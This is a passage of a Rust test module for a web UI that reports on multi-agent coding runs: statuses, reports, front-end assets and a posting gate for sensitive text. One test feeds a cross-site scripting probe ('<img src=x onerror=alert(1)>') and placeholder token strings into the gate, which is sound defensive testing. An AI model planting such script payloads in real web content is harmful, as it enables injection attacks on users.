18770 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
18771 let f = Fixture::start().await;
18772 let id = "20260922-090100-dddd";
18773 let mut state = RunState::new(
18774 PathBuf::from("/repo/magi"),
18775 "main".to_owned(),
18776 "0123456789abcdef".to_owned(),
18777 "Review only".to_owned(),
18778 Config::default(),
18779 );
18780 state.id = id.to_owned();
18781 state.status = RunStatus::Reviewing;
18782 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18783 state.driver_pid = Some(std::process::id());
18788 state.driver_started_at = Some("1".to_owned());
18789 let dir = f.runs().join(id);
18790 std::fs::create_dir_all(&dir).expect("run dir");
18791 std::fs::write(
18792 dir.join("run.json"),
18793 serde_json::to_string_pretty(&state).expect("serialize run"),
18794 )
18795 .expect("write run.json");
18796
18797 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18798 assert_eq!(detail["live"], "dead", "{detail}");
18799 }
18800
18801 #[test]
18805 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
18806 let mk = |id: &str, pid: Option<u32>| {
18807 let mut s = RunState::new(
18808 PathBuf::from("/repo/magi"),
18809 "main".to_owned(),
18810 "0123456789abcdef".to_owned(),
18811 "Add a web UI".to_owned(),
18812 Config::default(),
18813 );
18814 s.id = id.to_owned();
18815 s.driver_pid = pid;
18816 s.driver_started_at = Some("1790000000".to_owned());
18817 s
18818 };
18819 let states = vec![
18820 mk("20260902-140502-aaaa", Some(77)),
18821 mk("20260902-140502-bbbb", Some(77)),
18822 mk("20260902-140502-cccc", Some(77)),
18823 mk("20260902-140502-dddd", None),
18824 ];
18825 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
18826 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
18827 let sup: HashMap<String, String> = [(
18828 "20260902-140502-aaaa".to_owned(),
18829 "20260902-140502-cccc".to_owned(),
18830 )]
18831 .into();
18832
18833 let status_calls = std::cell::Cell::new(0);
18834 let identity_calls = std::cell::Cell::new(0);
18835 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
18836 |_| {
18837 status_calls.set(status_calls.get() + 1);
18838 Some(true)
18839 },
18840 |_| {
18841 identity_calls.set(identity_calls.get() + 1);
18842 Some("1790000000".to_owned())
18843 },
18844 ));
18845 let rows = summarize(
18846 states,
18847 &open,
18848 &claimed,
18849 &sup,
18850 |p| probe.borrow_mut().status(p),
18851 |p| probe.borrow_mut().started_at(p),
18852 );
18853
18854 assert_eq!(status_calls.get(), 1, "one pid, one status query");
18855 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
18856 assert_eq!(rows.len(), 4);
18857 assert!(!rows[0].waiting && rows[1].waiting);
18858 assert_eq!(rows[0].live, crate::run::Liveness::Live);
18859 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
18860 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
18861 assert_eq!(rows[1].superseded_by, None);
18862 }
18863
18864 #[test]
18865 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
18866 let mut state = RunState::new(
18867 PathBuf::from("/repo/magi"),
18868 "main".to_owned(),
18869 "0123456789abcdef".to_owned(),
18870 "Review only".to_owned(),
18871 Config::default(),
18872 );
18873 state.id = "20260922-090200-dead".to_owned();
18874 state.status = RunStatus::Reviewing;
18875 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
18876 .expect("serialize list row");
18877 assert_eq!(row["status"], "reviewing");
18878 assert_eq!(row["display_status"], "stale");
18879 assert_eq!(row["live"], "dead", "{row}");
18880 assert!(!row["done"].as_bool().unwrap());
18881 }
18882
18883 #[test]
18884 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
18885 use crate::run::Liveness::{Dead, Live, Unknown};
18886 let mut state = RunState::new(
18887 PathBuf::from("/repo/magi"),
18888 "main".to_owned(),
18889 "abc".to_owned(),
18890 "Review only".to_owned(),
18891 Config::default(),
18892 );
18893 for (status, parked, node, waiting, live, expected) in [
18894 (
18895 RunStatus::Judging,
18896 true,
18897 "github-text",
18898 false,
18899 Dead,
18900 "parked",
18901 ),
18902 (RunStatus::Judging, false, "park", false, Dead, "stale"),
18903 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
18904 (
18905 RunStatus::Judging,
18906 true,
18907 "github-text",
18908 true,
18909 Dead,
18910 "waiting",
18911 ),
18912 (
18913 RunStatus::Judging,
18914 false,
18915 "github-text",
18916 true,
18917 Dead,
18918 "waiting",
18919 ),
18920 (
18921 RunStatus::Judging,
18922 false,
18923 "github-text",
18924 false,
18925 Dead,
18926 "stale",
18927 ),
18928 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
18929 (RunStatus::Judging, true, "park", false, Live, "judging"),
18930 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
18931 (RunStatus::Merged, true, "park", false, Dead, "merged"),
18932 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
18933 (
18934 RunStatus::Blocked,
18935 true,
18936 "github-text",
18937 true,
18938 Dead,
18939 "waiting",
18940 ),
18941 ] {
18942 state.status = status;
18943 state.parked = parked;
18944 state.events.clear();
18945 state.event(
18946 "park",
18947 "an earlier park does not determine the latest state",
18948 );
18949 state.event(node, "message is not used for classification");
18950 let summary = RunSummary::of(&state, waiting, live);
18951 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
18952 assert_eq!(
18953 summary.display_status, expected,
18954 "{status:?}/{node}/{live:?}"
18955 );
18956 assert_eq!(detail.display_status, summary.display_status);
18957 assert_eq!(detail.waiting, summary.waiting);
18958 }
18959 state.status = RunStatus::Judging;
18960 state.parked = false;
18961 state.events.clear();
18962 assert_eq!(run_display_status(&state, false, Dead), "stale");
18963 }
18964
18965 #[test]
18966 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
18967 use crate::run::Liveness::{Dead, Live, Unknown};
18968 let mut state = RunState::new(
18969 PathBuf::from("/repo/magi"),
18970 "main".to_owned(),
18971 "abc".to_owned(),
18972 "Badge".to_owned(),
18973 Config::default(),
18974 );
18975 for (status, waiting, live, superseded, expected) in [
18976 (RunStatus::Gating, false, Dead, false, "stale"),
18977 (RunStatus::Gating, false, Dead, true, "superseded"),
18978 (RunStatus::Gating, false, Unknown, true, "superseded"),
18979 (RunStatus::Gating, true, Dead, true, "superseded"),
18980 (RunStatus::Gating, true, Dead, false, "waiting"),
18981 (RunStatus::Gating, false, Unknown, false, "gating"),
18982 (RunStatus::Gating, false, Live, true, "gating"),
18983 (RunStatus::Gating, true, Live, true, "waiting"),
18984 (RunStatus::Merged, false, Dead, true, "merged"),
18985 (RunStatus::Blocked, false, Dead, true, "blocked"),
18986 ] {
18987 state.status = status;
18988 let display = run_display_status(&state, waiting, live);
18989 assert_eq!(
18990 run_badge_status(&state, &display, live, superseded),
18991 expected,
18992 "{status:?}/{live:?}/superseded={superseded}"
18993 );
18994 }
18995 }
18996
18997 #[test]
18998 fn summarize_and_detail_expose_badge_status() {
18999 use crate::run::Liveness::Dead;
19000 let mut state = RunState::new(
19001 PathBuf::from("/repo/magi"),
19002 "main".to_owned(),
19003 "abc".to_owned(),
19004 "Badge".to_owned(),
19005 Config::default(),
19006 );
19007 state.status = RunStatus::Gating;
19008 let none = HashSet::new();
19009 let id = state.id.clone();
19010 let mut by = HashMap::new();
19011 let rows = summarize(
19012 [state.clone()],
19013 &none,
19014 &none,
19015 &by,
19016 |_| Some(false),
19017 |_| None,
19018 );
19019 assert_eq!(rows[0].badge_status, rows[0].display_status);
19021 by.insert(id, "20260901-000000-913b".to_owned());
19022 let detail = RunDetailView::of(
19023 state.clone(),
19024 false,
19025 Dead,
19026 Some("913b".to_owned()),
19027 None,
19028 None,
19029 );
19030 assert_eq!(detail.badge_status, "superseded");
19031 let json = serde_json::to_value(&detail).unwrap();
19032 assert_eq!(json["badge_status"], "superseded");
19033 let detail = RunDetailView::of(state, false, Dead, None, None, None);
19034 assert_eq!(detail.badge_status, "stale");
19035 }
19036
19037 #[tokio::test]
19038 async fn run_display_status_routes_share_the_open_question_store() {
19039 let f = Fixture::start().await;
19040 let id = "20260922-090200-abcd";
19041 write_run(&f.runs(), id, RunStatus::Judging);
19042 let mut state = read_run(&f.runs(), id).unwrap();
19043 state.parked = true;
19044 state.driver_exited = true;
19045 state.event("github-text", "waiting for the owner");
19046 state.save_under(f.home.path()).unwrap();
19047 let mut task = Task::new(
19048 "resumed task".to_owned(),
19049 "do it".to_owned(),
19050 PathBuf::from("/repo"),
19051 Source::Human,
19052 );
19053 task.runs = vec![id.to_owned(), id.to_owned()];
19054 f.queue().put(&mut task).unwrap();
19055 let store = f.questions();
19056 let mut q = Question::new(
19057 id.to_owned(),
19058 "github-text".to_owned(),
19059 "owner".to_owned(),
19060 "Approve the text?".to_owned(),
19061 String::new(),
19062 Vec::new(),
19063 );
19064 store.put(&mut q).unwrap();
19065 for expected in ["waiting", "parked"] {
19066 let list = f.get("/api/runs").await.json();
19067 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19068 assert_eq!(list[0]["display_status"], expected);
19069 assert_eq!(detail["display_status"], expected);
19070 assert_eq!(detail["waiting"], list[0]["waiting"]);
19071 assert_eq!(list[0]["badge_status"], expected);
19072 assert_eq!(detail["badge_status"], expected);
19073 assert!(list[0]["superseded_by"].is_null());
19074 assert!(detail["superseded_by"].is_null());
19075 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19076 let history = task_detail["history"].as_array().unwrap();
19077 assert_eq!(history.len(), 2);
19078 assert!(history[0]["badge"].is_null());
19079 assert_eq!(history[1]["badge"], expected);
19080 q.status = ask::QuestionStatus::Answered;
19081 store.put(&mut q).unwrap();
19082 }
19083 }
19084
19085 #[tokio::test]
19086 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
19087 let f = Fixture::start().await;
19088 let id = "20260922-090200-abcd";
19089 write_run(&f.runs(), id, RunStatus::Judging);
19090 let mut state = read_run(&f.runs(), id).unwrap();
19091 state.parked = true;
19092 state.driver_exited = true;
19093 state.event("park", "stopped at a node boundary");
19094 state.save_under(f.home.path()).unwrap();
19095
19096 for expected in ["parked", "stale"] {
19097 let list = f.get("/api/runs").await.json();
19098 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19099 assert_eq!(list[0]["live"], "dead");
19100 assert_eq!(list[0]["display_status"], expected);
19101 assert_eq!(detail["display_status"], expected);
19102 state.parked = false;
19105 state.save_under(f.home.path()).unwrap();
19106 }
19107 }
19108
19109 #[tokio::test]
19110 async fn the_run_list_is_newest_first_and_honours_a_limit() {
19111 let f = Fixture::start().await;
19112 for id in [
19113 "20260902-140501-aaaa",
19114 "20260902-140502-bbbb",
19115 "20260902-140503-cccc",
19116 ] {
19117 write_run(&f.runs(), id, RunStatus::Merged);
19118 }
19119
19120 let all = f.get("/api/runs").await.json();
19121 let capped = f.get("/api/runs?limit=2").await.json();
19122
19123 assert_eq!(all[0]["id"], "20260902-140503-cccc");
19124 assert_eq!(all.as_array().map(Vec::len), Some(3));
19125 assert_eq!(capped.as_array().map(Vec::len), Some(2));
19126 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
19127 }
19128
19129 #[tokio::test]
19130 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
19131 let f = Fixture::start().await;
19132 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
19133
19134 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
19135
19136 assert_eq!(res.status, 200);
19137 assert!(
19138 res.headers
19139 .contains("content-type: text/plain; charset=utf-8"),
19140 "a browser must render it, not download it: {}",
19141 res.headers
19142 );
19143 assert!(
19147 res.body.contains("20260902-140501-a1b2"),
19148 "the report is about the run that was asked for: {}",
19149 res.body
19150 );
19151 }
19152
19153 #[tokio::test]
19154 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
19155 crate::run::pin_test_home();
19157 let f = Fixture::start().await;
19158 let id = "20260902-140501-a1b2";
19159 write_run(&f.runs(), id, RunStatus::Stalled);
19160 let path = f.runs().join(id).join("run.json");
19163 let mut v: serde_json::Value =
19164 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19165 v["tally"] = serde_json::json!({
19166 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19167 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
19168 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
19169 "met_quorum": false, "rankings": 1
19170 });
19171 v["reviews"] = serde_json::json!([{
19172 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
19173 "e2e_deferred": true,
19174 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
19175 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
19176 ]}]
19177 }]);
19178 std::fs::write(&path, v.to_string()).unwrap();
19179 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
19180 std::fs::write(
19181 f.runs().join("20260902-140502-dead").join("run.json"),
19182 "{not json",
19183 )
19184 .unwrap();
19185
19186 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19187
19188 assert_eq!(res.status, 200, "{}", res.body);
19189 assert!(res.headers.contains("content-type: application/json"));
19190 let j = res.json();
19191 assert_eq!(j["schema"], 1);
19192 assert_eq!(j["header"]["id"], id);
19193 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19194 let kinds: Vec<&str> = j["sections"]
19195 .as_array()
19196 .unwrap()
19197 .iter()
19198 .map(|s| s["kind"].as_str().unwrap())
19199 .collect();
19200 assert_eq!(kinds, ["candidates", "tally", "review"]);
19201 let tally = &j["sections"][1]["tally"];
19202 assert_eq!(
19203 (tally["decided"].clone(), tally["provisional"].clone()),
19204 (false.into(), true.into())
19205 );
19206 let round = &j["sections"][2]["rounds"][0];
19207 assert_eq!(round["e2e"]["state"], "deferred");
19208 assert_eq!(round["findings"][0]["severity"], "major");
19209 assert_eq!(round["findings"][0]["blocking"], true);
19210 assert_eq!(round["findings"][0]["state"], "open");
19211
19212 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19214
19215 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19217 assert_ne!(bad.status, 200, "{}", bad.body);
19218 assert_eq!(
19219 bad.status,
19220 f.get("/api/runs/20260902-140502-dead/report").await.status
19221 );
19222 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19223 assert_eq!(
19224 f.get("/api/runs/20260902-999999-ffff/report.json")
19225 .await
19226 .status,
19227 404
19228 );
19229 }
19230
19231 #[tokio::test]
19232 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19233 crate::run::pin_test_home();
19234 let f = Fixture::start().await;
19235 let id = "20260902-140503-delib";
19236 write_run(&f.runs(), id, RunStatus::Merged);
19237 let path = f.runs().join(id).join("run.json");
19238 let mut v: serde_json::Value =
19239 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19240 v["judgements"] = serde_json::json!([
19241 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19242 ]);
19243 v["tally"] = serde_json::json!({
19244 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19245 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19246 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19247 "met_quorum": true, "rankings": 1
19248 });
19249 v["deliberation"] = serde_json::json!([
19250 {
19251 "round": 1,
19252 "turns": [
19253 {
19254 "judge": 1,
19255 "agent": "judge-1",
19256 "body": "I prefer candidate **A** because it has cleaner tests.",
19257 "tentative": "A"
19258 }
19259 ]
19260 },
19261 {
19262 "round": 2,
19263 "turns": [
19264 {
19265 "judge": 1,
19266 "agent": "judge-1",
19267 "body": "Still thinking, no choice yet.",
19268 "tentative": null
19269 }
19270 ]
19271 }
19272 ]);
19273 std::fs::write(&path, v.to_string()).unwrap();
19274
19275 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19276 assert_eq!(res.status, 200, "{}", res.body);
19277 let j = res.json();
19278 let judging = j["sections"]
19279 .as_array()
19280 .unwrap()
19281 .iter()
19282 .find(|s| s["kind"] == "judging")
19283 .expect("judging section exists");
19284
19285 let delib_lines = judging["deliberation"].as_array().unwrap();
19287 assert_eq!(delib_lines.len(), 2);
19288 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19289 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19290
19291 let rounds = judging["rounds"].as_array().unwrap();
19293 assert_eq!(rounds.len(), 2);
19294 let r1_t0 = &rounds[0]["turns"][0];
19295 assert_eq!(r1_t0["judge"], 1);
19296 assert_eq!(r1_t0["agent"], "judge-1");
19297 assert_eq!(r1_t0["tentative"], "A");
19298 assert_eq!(
19299 r1_t0["body"],
19300 "I prefer candidate **A** because it has cleaner tests."
19301 );
19302 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19303
19304 let r2_t0 = &rounds[1]["turns"][0];
19305 assert_eq!(r2_t0["judge"], 1);
19306 assert_eq!(r2_t0["agent"], "judge-1");
19307 assert!(r2_t0["tentative"].is_null());
19308 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19309 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19310
19311 let id_empty = "20260902-140504-nodelib";
19313 write_run(&f.runs(), id_empty, RunStatus::Merged);
19314 let path_empty = f.runs().join(id_empty).join("run.json");
19315 let mut v_empty: serde_json::Value =
19316 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19317 v_empty["judgements"] = serde_json::json!([
19318 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19319 ]);
19320 v_empty["deliberation"] = serde_json::json!([]);
19321 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19322
19323 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19324 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19325 let j_empty = res_empty.json();
19326 let judging_empty = j_empty["sections"]
19327 .as_array()
19328 .unwrap()
19329 .iter()
19330 .find(|s| s["kind"] == "judging")
19331 .expect("judging section exists");
19332 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19333 }
19334
19335 #[tokio::test]
19336 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19337 let f = Fixture::start().await;
19338
19339 let html = f.get("/").await;
19340 let css = f.get("/app.css").await;
19341 let js = f.get("/app.js").await;
19342
19343 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19344 assert!(
19345 html.headers
19346 .contains("content-type: text/html; charset=utf-8")
19347 );
19348 assert!(css.headers.contains("content-type: text/css"));
19349 assert!(js.headers.contains("content-type: text/javascript"));
19350 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19351 }
19352
19353 #[test]
19354 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19355 let body = |name: &str| {
19356 let at = APP_JS
19357 .find(name)
19358 .unwrap_or_else(|| panic!("{name} missing"));
19359 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19360 };
19361 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19362 let note = body("function landRoundNote");
19363 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19364 assert!(note.contains("Land round ${round}"));
19365 let land = body("function renderLand");
19366 let note_at = land
19367 .find("landRoundNote(pr)")
19368 .expect("renderLand uses the note");
19369 assert!(
19370 note_at
19371 < land
19372 .find("roundRail(pr)")
19373 .expect("renderLand uses the rail")
19374 );
19375 }
19376
19377 #[test]
19378 fn the_runs_page_redesign_keeps_its_guards() {
19379 let body = |name: &str| {
19380 let at = APP_JS
19381 .find(name)
19382 .unwrap_or_else(|| panic!("{name} missing"));
19383 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19384 };
19385 let land = body("function renderLand");
19387 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19388 assert!(
19389 !land.contains("box.append("),
19390 "renderLand must use append()"
19391 );
19392 assert!(land.contains("append(box, ["));
19393 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19395 assert!(
19396 body("function applyRoute")
19397 .contains("route.name !== state.route.name || route.id !== state.route.id")
19398 );
19399 assert!(!APP_JS.contains("adviseConvergeDiagram"));
19401 assert!(!INDEX_HTML.contains("advise-converge"));
19402 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19403 assert!(APP_JS.contains("provisional"));
19404 for id in [
19405 "run-tab-overview",
19406 "run-tab-timeline",
19407 "run-tab-report",
19408 "run-report",
19409 "runs-scope",
19410 ] {
19411 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19412 }
19413 assert!(!INDEX_HTML.contains("runs-tree"));
19414 assert!(!INDEX_HTML.contains("run-raw-panel"));
19415 assert!(APP_JS.contains("resume"));
19417 assert!(APP_JS.contains("unreadable"));
19419 }
19420
19421 #[test]
19422 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19423 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19424 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19425 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
19426 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19427 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19428 assert!(APP_JS.contains("unreadable` : null"));
19430 }
19431
19432 #[test]
19433 fn blocked_run_detail_exposes_the_failed_gate_reason() {
19434 let mut state = RunState::new(
19435 "/repo".into(),
19436 "main".into(),
19437 "abc".into(),
19438 "task".into(),
19439 crate::config::Config::default(),
19440 );
19441 state.status = RunStatus::Blocked;
19442 state.gate_ran = true;
19443 state.gate.push(crate::run::CommandOutcome {
19444 command: "cargo make check".into(),
19445 code: Some(1),
19446 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19447 duration_ms: 0,
19448 resource_blocked: false,
19449 });
19450 let view = RunDetailView::of(
19451 state,
19452 false,
19453 crate::run::Liveness::Unknown,
19454 None,
19455 None,
19456 None,
19457 );
19458 let value = serde_json::to_value(view).unwrap();
19459 assert_eq!(
19460 value["stop_reason"],
19461 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19462 );
19463 }
19464
19465 #[test]
19466 fn the_run_detail_payload_says_whether_the_run_is_done() {
19467 for (status, done) in [
19469 (RunStatus::Superseded, true),
19470 (RunStatus::Blocked, true),
19471 (RunStatus::Landing, false),
19472 ] {
19473 let mut state = RunState::new(
19474 std::path::PathBuf::from("/repo"),
19475 "main".to_owned(),
19476 "abc".to_owned(),
19477 "x".to_owned(),
19478 crate::config::Config::default(),
19479 );
19480 state.status = status;
19481 let v = serde_json::to_value(RunDetailView::of(
19482 state,
19483 false,
19484 crate::run::Liveness::Unknown,
19485 None,
19486 None,
19487 None,
19488 ))
19489 .unwrap();
19490 assert_eq!(v["done"], done, "{status:?}");
19491 }
19492 }
19493
19494 fn has_strong(nodes: &[md::Node]) -> bool {
19496 serde_json::to_string(nodes).unwrap().contains("strong")
19497 }
19498
19499 #[test]
19500 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19501 let mut state = RunState::new(
19502 std::path::PathBuf::from("/repo"),
19503 "main".to_owned(),
19504 "abc".to_owned(),
19505 "x".to_owned(),
19506 crate::config::Config::default(),
19507 );
19508 let proposal = |approach: &str| {
19509 serde_json::json!({
19510 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19511 })
19512 };
19513 state.advice = Some(
19514 serde_json::from_value(serde_json::json!({
19515 "records": [
19516 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19517 "proposal": proposal("do **this**")},
19518 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19519 ],
19520 "synthesis": "- one\n- **two**\n\n`code`",
19521 }))
19522 .unwrap(),
19523 );
19524 state.candidates = serde_json::from_value(serde_json::json!([
19525 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
19526 "summary": "did **it**"},
19527 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
19528 ]))
19529 .unwrap();
19530 state.reviews = serde_json::from_value(serde_json::json!([{
19533 "round": 1, "head": "h",
19534 "reviews": [{
19535 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
19536 "findings": [
19537 {"severity": "nit", "title": "t1", "detail": "plain nit"},
19538 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
19539 ],
19540 }],
19541 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
19542 "fix": {"agent": "a", "notes": "fixed **it**",
19543 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
19544 }, {"round": 2, "head": "h2", "reviews": []}]))
19545 .unwrap();
19546
19547 let v = serde_json::to_value(RunDetailView::of(
19548 state,
19549 false,
19550 crate::run::Liveness::Unknown,
19551 None,
19552 None,
19553 None,
19554 ))
19555 .unwrap();
19556
19557 let strong = |p: &str| {
19558 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
19559 assert!(n.to_string().contains("strong"), "{p}: {n}");
19560 };
19561 strong("/advice_md/synthesis");
19562 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
19563 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
19564 strong("/advice_md/approaches/0");
19565 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
19566 strong("/candidate_summaries_md/0");
19567 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
19568 strong("/reviews_md/0/reviewers/0/summary");
19569 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
19570 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
19571 assert!(f[1].to_string().contains("strong"));
19572 strong("/reviews_md/0/reconsideration/0");
19573 strong("/reviews_md/0/fix/notes");
19574 strong("/reviews_md/0/fix/rejected/0");
19575 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
19576 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
19577 assert_eq!(v["candidates"][0]["summary"], "did **it**");
19579 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
19580 }
19581
19582 #[test]
19583 fn a_run_without_advice_has_no_advice_md() {
19584 let state = RunState::new(
19585 std::path::PathBuf::from("/repo"),
19586 "main".to_owned(),
19587 "abc".to_owned(),
19588 "x".to_owned(),
19589 crate::config::Config::default(),
19590 );
19591 let p = run_prose_md(&state);
19592 assert!(p.advice_md.is_none());
19593 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
19594 }
19595
19596 #[test]
19597 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
19598 let store = ask::Questions::at(PathBuf::from("unused"));
19599 let gt = crate::github_text::Withheld {
19600 title: false,
19601 body: true,
19602 categories: vec!["sensitive-data".into()],
19603 };
19604 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
19605 let (detail, comparison) =
19606 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19607 let mut q = Question::new(
19608 "r".into(),
19609 "github-text".into(),
19610 "posting-gate".into(),
19611 "s".into(),
19612 detail,
19613 Vec::new(),
19614 );
19615 assert!(
19616 QuestionView::of(q.clone(), &store, None)
19617 .posting_view
19618 .is_none()
19619 );
19620 q.posting_comparison = Some(comparison);
19621 let view = QuestionView::of(q.clone(), &store, None);
19622 let field = &view.posting_view.unwrap().fields[0];
19623 assert_eq!(
19624 field
19625 .original
19626 .iter()
19627 .map(|f| f.text.as_str())
19628 .collect::<String>(),
19629 body
19630 );
19631 assert!(field.original[0].text.starts_with("<img"));
19632 let original_question: Question =
19633 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
19634 assert_eq!(original_question, q);
19635 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
19636 .original
19637 .start = 1;
19638 assert!(
19639 QuestionView::of(q.clone(), &store, None)
19640 .posting_view
19641 .is_none()
19642 );
19643 q.posting_comparison = original_question.posting_comparison;
19644 q.detail.push_str("extra context");
19645 assert!(
19646 QuestionView::of(q.clone(), &store, None)
19647 .posting_view
19648 .is_some()
19649 );
19650 q.detail.insert(0, 'x');
19651 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
19652 }
19653
19654 #[test]
19655 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
19656 let store = ask::Questions::at(PathBuf::from("unused"));
19657 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
19658 let gt = crate::github_text::Withheld::from_check(
19659 &crate::github_text::check("fix: x", body),
19660 "fix: x",
19661 body,
19662 )
19663 .unwrap();
19664 let (detail, comparison) =
19665 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19666 let mut q = Question::new(
19667 "r".into(),
19668 "github-text".into(),
19669 "posting-gate".into(),
19670 "s".into(),
19671 detail,
19672 Vec::new(),
19673 );
19674 q.posting_comparison = Some(comparison);
19675 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
19676 let field = &value["posting_view"]["fields"][0];
19677 let group = &field["replacement_group"];
19678 let triggers = group["triggers"].as_array().unwrap();
19679 assert_eq!(triggers.len(), 2);
19680 assert_ne!(triggers[0], triggers[1]);
19681 for id in triggers {
19682 assert!(
19683 field["original"]
19684 .as_array()
19685 .unwrap()
19686 .iter()
19687 .any(|f| &f["pair"] == id)
19688 );
